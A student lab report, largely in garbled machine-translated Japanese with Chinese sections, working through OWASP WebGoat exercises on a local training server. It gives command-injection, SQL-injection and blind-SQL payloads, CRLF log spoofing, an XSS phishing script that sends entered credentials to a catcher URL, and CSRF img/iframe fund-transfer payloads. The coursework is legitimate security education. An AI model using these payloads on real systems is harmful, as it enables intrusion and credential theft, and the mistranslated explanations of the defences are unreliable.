Webセキュリティエッセンシャル:Exp9 20165324ネットワーク技術に対する2018-2019-2
実験的なクラスの下で
- コンテンツの概要実験
- Webgoat準備
- SQLインジェクション攻撃
- コマンドインジェクション(コマンド・インジェクション)
- デジタル型インプラント(数値SQLインジェクション)
- (ログインスプーフィングを欺くログ
- SQLインジェクション(LAB:SQLインジェクション)
- 文字列の注入(文字列SQLインジェクション)
- ブラインド数値インジェクション(ブラインド数値SQLインジェクション)
- XSS攻撃
- XSS钓鱼(XSSとフィッシング)
- ストレージタイプのXSS攻撃(ストアドXSS攻撃)
- 反射型XSS攻撃(XSS攻撃を反射)
- CSRF攻撃
- CSRF(クロスサイトリクエストフォージェリ(CSRF))
- バイパスCSRF確認(CSRFプロンプトバイパス)
- 基本的な質問には答え
- SQLインジェクション攻撃は、どのように守るために
- 原理:SQLインジェクションの脆弱性は、データベースのクエリ処理が存在するバックエンドのWebアプリケーションのセキュリティ上の脆弱性を指します。これは、組み込みSQLは、設計プロセスの攻撃を構成することができる特別な文字列をチェックすることから、入力文字列にコマンドです。バックエンドデータベースは、さらに、そのような損傷にバックエンドのデータベースとして深刻な結果を引き起こす、様々な操作を実行するために、バックエンドデータベースを達成するために、通常、可能実行される通常のSQLコマンドとしてみなされるべきで後
- 防衛は:オフにするか、削除、不要なインタラクティブフォームのページを提出し、感染していることを避けるために、サーバー側でバックアップファイルを配置していない、またはバックアップファイルが原因、抜け穴が含まれています。一般のユーザーとシステム管理者ユーザー権限が厳密に区別を持っていますエントリポイント。
- 原理XSS攻撃、どのように守るために
- 原理:攻撃者は、ユーザーがページを訪れたときに、HTMLタグやJavaScriptコードに悪意のあるWebページを挿入するために、または特定の操作を実行するために、攻撃者が元のサイトでのユーザーの信頼を悪用し、またはブラウザは、いくつかの危険な操作を実行するユーザをだましたり、他のサイトへのユーザーの個人情報を提出します。
- 防衛方法:Web開発者は、このようなエスケープ文字安全などのツールを使用して、特殊文字をテストするために提出したユーザーの入力データのいずれかの形式を信じていない時間の原則に準拠し、入力ボックスの長さを制限しません。
- CSRFは、守るためにどのように、原則を攻撃します
- 原理:CSRFは、偽のログインです。クロスサイト偽造要求の核心ユーザログイン一度、セッションであるため、攻撃者は、被害者の特定のアカウントとパスワードを気にしません>セッションCookieが内存在である現状の主流のため、ユーザーのセッション、またはクッキーを盗みます。唯一の証拠ユーザーは、限り、攻撃者はセッションを得ることができるように、サーバーに被害者を装っすることができます。サイトAにアクセスするためのユーザー名とパスワードを入力するように主にするとき、検証、サイトAはCookie情報とリターンを生成した後、この時間は、ウェブサイトを訪問成功したウェブサイトは、通常、Aにリクエストを送信することができます 出口部位は、別のアクセス、Bではない前に、サイトBはサイトAに、いくつかの攻撃コードと要求へのアクセスを返すことがあるため、サイトBの要求に応じて、要求元のサイトAへ Webサイトが、要求が悪質であるかわからないので、それは悪質なコードを実行します
- 防衛方法:トークンが準拠していない場合はトークンを使用して、各ページが生成されたWebサーバートークン、出願時、またサーバーに送信トークンを含み、サーバは、攻撃をそこにCSRFと判断された決定、提出方法ポストに置き換え、または唯一のサーバ側のリソースを変更せずに閲覧するためにGETリクエスト、定期的にきれいなクッキー。
- SQLインジェクション攻撃は、どのように守るために
- 実験と経験の概要
- 研究の多くの側面が十分に徹底しなかったが、私は自分自身がコンテンツネットワークの攻撃と防御に新しい知識の多くのことを学んだ見つかった実験でも、深い理解と経験を持っていますが、彼らはまだ多くに基づいてコンテンツを制御し、それは非常にやりがいがあります。
コンテンツ9.1:WebGoat
説明:WebGoatは、セキュリティの脆弱性は、Webアプリケーションに存在し説明するために、Webアプリケーションの脆弱性を実験するためのプラットフォームを開発しOWASP組織です。クロスサイトスクリプティング攻撃(XSS)、アクセス制御、セキュリティスレッド、オペレーティング隠されたフィールド、パラメータ操作、弱いセッションクッキー:Java仮想マシンでのプラットフォーム上で実行WebGoat、現在を含め、30回の以上のトレーニングコースを提供その上で、SQLブラインド、デジタルタイプのSQLインジェクション、SQLインジェクションの文字列、Webサービス、オープン認証に失敗し、危険なHTMLコメントと。WebGoatは攻撃にこれらの脆弱性を悪用するユーザーをガイドする、いくつかのコースは、ビデオプレゼンテーションを与えている、Webセキュリティを学ぶためのチュートリアルのシリーズを提供します。
- ダウンロードwebgoatコンテナ-7.0.1-war- exec.jar ファイルを
入っているファイルのディレクトリでコマンド
java -jar webgoat-container-7.0.1-war-exec.jar
実行Webgoatを、メッセージが表示されます。Starting ProtocolHandler ["http-bio-8080"]
説明を開き、あなたが占領ポート8080を表示することができ、実験では、端末を閉じることはできません。
- ブラウザ入力に
http://localhost:8080/WebGoat
直接デフォルトのユーザー名とパスワードを使用してWebGoatログインインタフェースにログインします。(ページ間違っている場合は、おそらく、JDKのバージョンは互換性のある、参照リンクではありません。https://www.jianshu.com/p/9ec7838411c8)
コンテンツ9.2:SQLインジェクション攻撃(インジェクションの欠陥)
1.噴射指令(コマンド・インジェクション)
原理:提出プロセスは、通常のパラメータの命令を実行する悪質なコードを追加します。
目標:あなたがターゲットホスト上の任意のシステムコマンドを実行することができます
- 操作方法:
ページ上で右クリックを選択し
inspect Element
、ソースコード、ボックス内のコードの任意の列を変更するレビューページ要素を選択し、右クリックしてEdit At Html
、追加、変更"& netstat -an & ipconfig"
。ビューをクリックすると、ネットワークポートの使用状況を見ることができますし、命令のIPアドレスが実行されます。攻撃が成功!
2.デジタルタイプのインプラントを(数値SQLインジェクション)
原理:駅分野における射出機能文字、新しいSQL文にまとめます。
例えば:* weather_data FROM WHERE局= SELECT [ステーション]目的:この例では、SQLインジェクションの文字列を使用して、すべての気象データを表示します。
方法:
選択し、ページ上で右クリックしinspect Element
、ソースコードを変更するレビューページ要素を値の値で選択した都市に数字を追加しますor 1=1
。
- 気象条件は、すべての都市を表示し、攻撃が成功します!
3.ログ欺く(ログインスプーフィング)
- 原理は:ログ・ファイル内の人間の目を欺くために、攻撃者は、ログに自分の痕跡をクリアするには、この方法を使用することができます
- 対象:灰色の領域の内容を記録するには、Webサーバーのログを表し、私たちの目的は、ユーザー名を使用することで、ログの「管理者」ユーザー「成功ログイン」です
- 操作の方法:
- 前提:タイトルは、ユーザーの入力にユーザー名を受け入れ、ログファイルに追加します。
- キャリッジリターン(0D%)とラインフィード(%の0A)を使用して、ユーザ名を記入
hcj%0d%0aLogin Succeeded for username: admin
4. SQLインジェクション(LAB:SQLインジェクション)
- ステージ1:インジェクション文字列(ステージ1:文字列のSQLインジェクション)
原則:文字列を注入することにより、バイパス認証
- 操作の方法:
- ページ上で右クリックし、選択し
inspect Element
たソースコードを変更するレビューページ要素を、20に変更し、パスワードボックスパスワードの最大の長さを制限します。
- ページ上で右クリックし、選択し
- 以用户Smith 登录,输入密码```Smith' or 1=1--```
- 得到所有人员列表,攻击成功!
ステージ3:数値のSQLインジェクション(ステージ3:数値SQLインジェクション)
原理:通常の従業員のアカウントで、認証をバイパスし、数値データを注入することにより、BOSSのユーザー情報を表示します。
- 操作の方法:
- ユーザー名ラリー、ラリー・クリックのログインパスワードでログオン、ViewProfileは、ユーザーの情報を表示する]をクリック
- 右クリックして、ページ上のページ要素は、要素はソースコードを確認検査を選択し、我々はおそらく、それが最初のクエリデータへのたびに返され、データベースのインデックスは、従業員のIDに基づいていることがわかります。
- ソーシャルエンジニアリングのボスによって説明最高賃金である必要があり、その従業員IDの値が変更され
101 or 1=1 order by salary desc
たデータへの最初のクエリとしてそのような情報の所有者、。 - 上司のアカウント情報を取得し、攻撃が成功します!
注射の文字列(文字列のSQLインジェクション)
- 原則:次のクエリに基づいて、独自のSQLインジェクションの文字列を構築します。
SELECT * FROM user_data WHERE last_name = '?'
目標:次の表は、ユーザーが自分のクレジットカード番号を表示することができます。すべてのクレジットカード情報によるSQLインジェクションの試みが表示されます。ユーザー名が「スミス」で試してみてください。
- 操作の方法:
- 通常の状況下でのみ、クレジットカード番号に対応するユーザ名を問い合わせます
- クエリにユーザー名を入力します
Smith' or 1=1--
(スミスとの条件は1 = 1クエリと1 = 1がアイデンティティである、それは内部のすべてのデータテーブルを照会することができるようになりました) - 得到所有用户的信用卡号码,攻击成功!
6. 数字型盲注入(Blind Numeric SQL Injection)
原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
- 操作方法:
- 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
;如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
- 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句
内容9.3:XSS攻击
- 跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
1. XSS 钓鱼(Phishing with XSS)
- 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
- 操作方法:
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
- 编写一个带用户名和密码输入框的表格
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
2. 存储型XSS攻击(Stored XSS Attacks)
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies
3. 反射型XSS攻击(Reflected XSS Attacks)
原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
操作方法:
- 输入代码
<script>alert("hello20165324");</script>
,点击purse
的同时页面就给出了反馈
- 输入代码
内容9.4:CSRF攻击
1. 跨站请求伪造(Cross Site Request Forgery (CSRF))
- 操作方法:
- 查看页面右侧Parameters中的src和menu值,分别为276和900
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
- 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2. 绕过 CSRF 确认( CSRF Prompt By‐Pass)
操作方法:
- 查看页面右侧Parameters中的src和menu值分别为276和900
- 并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message
List中生成以Title命名的链接,点击进入后,攻击成功。